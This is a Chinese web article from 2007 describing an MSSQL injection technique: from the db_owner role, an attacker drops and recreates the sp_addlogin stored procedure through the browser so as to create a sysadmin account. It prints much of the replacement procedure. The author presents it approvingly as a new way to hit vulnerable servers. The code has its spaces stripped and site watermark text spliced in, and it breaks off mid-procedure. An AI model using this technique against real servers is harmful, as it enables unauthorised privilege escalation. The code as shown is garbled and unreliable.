SQL注入攻击通杀
时间:2007-12-23 来源:不详 作者:迈克DB
不知道大家看过这篇文章没有,可以在db_owner角色下添加SYSADMIN帐号,这招真狠啊,存在MSSQL注射漏洞的服务器又要遭殃了。方法主要是利用db_owner可以修改sp_addlogin和sp_addsrvrolemember这两个存储过程,饶过了验证部分。具体方法如下:先输入dropproceduresp_addlogin,然后在IE里面输入createproceduresp_addlogin
@loginamesysname
,@passwdsysname=Null
,@defdb;;sysname=’master’--UNDONE:DEFAULT
CONFIGURABLE???
,@deflanguagesysname=Null
,@sidvarbinary(16)=Null
,@encryptoptvarchar(20)=Null
AS
--SETUPRUNTIMEOPTIONS/DECLAREVARIABLES--
setnocounton
Declare@retint--returnvalueofspcall
--DISALLOWUSERTRANSACTION--
setimplicit_transactionsoff
IF(@@trancount>0)
begin
raiserror(15002,-1,-1,’sp_addlogin’)
return(1)
end
--VALIDATELOGINNAMEAS:
--(1)ValidSQLName(SQLLOGIN)
--(2)Nobackslash(NTusersonly)
--(3)Notareservedloginname 织梦好,好织梦
execute@ret=sp_validname@loginame
if(@ret<>0)
return(1)
if(charindex(’\’,@loginame)>0)
begin
raiserror(15006,-1,-1,@loginame)
return(1)
end
--Note:differentcasesaisallowed.
if(@loginame=’sa’orlower(@loginame)in(’public’))
begin
raiserror(15405,-1,-1,@loginame)
return(1)
end
--LOGINNAMEMUSTNOTALREADYEXIST--
ifexists(select*frommaster.dbo.sysloginswhereloginname=
@loginame)
begin
raiserror(15025,-1,-1,@loginame)
return(1)
end
--VALIDATEDEFAULTDATABASE--
IFdb_id(@defdb)ISNULL
begin
raiserror(15010,-1,-1,@defdb)
return(1)
end
--VALIDATEDEFAULTLANGUAGE--
IF(@deflanguageISNOTNull)
begin
Execute@ret=sp_validlang@deflanguage
IF(@ret<>0)
return(1)
end
ELSE
begin
select@deflanguage=namefrommaster.dbo.syslanguages
织梦内容管理系统
wherelangid=@@default_langid--serverdefault
language
if@deflanguageisnull
select@deflanguage=N’us_english’
end
--VALIDATESIDIFGIVEN--
if((@sidISNOTNull)and(datalength(@sid)<>16))
begin
raiserror(15419,-1,-1)
return(1)
end
elseif@sidisnull
select@sid=newid()
if(suser_sname(@sid)ISNOTNull)
begin
raiserror(15433,-1,-1)
return(1)
end
--VALIDATEANDUSEENCRYPTIONOPTION--
declare@xstatussmallint
select@xstatus=2--access
if@encryptoptisnull
select@passwd=pwdencrypt(@passwd)
elseif@encryptopt=’skip_encryption_old’
begin
select@xstatus=@xstatus|0x800,--old-style
encryption
@passwd=convert(sysname,convert(varbinary
(30),convert(varchar(30),@passwd)))
end
elseif@encryptopt<>’skip_encryption’
begin
raiserror(15600,-1,-1,’sp_addlogin’)
上一篇:SQLServer 安全检查列表 下一篇:SQLServer 2000的安全配置
文章评论
共有位Admini5网友发表了评论 查看完整内容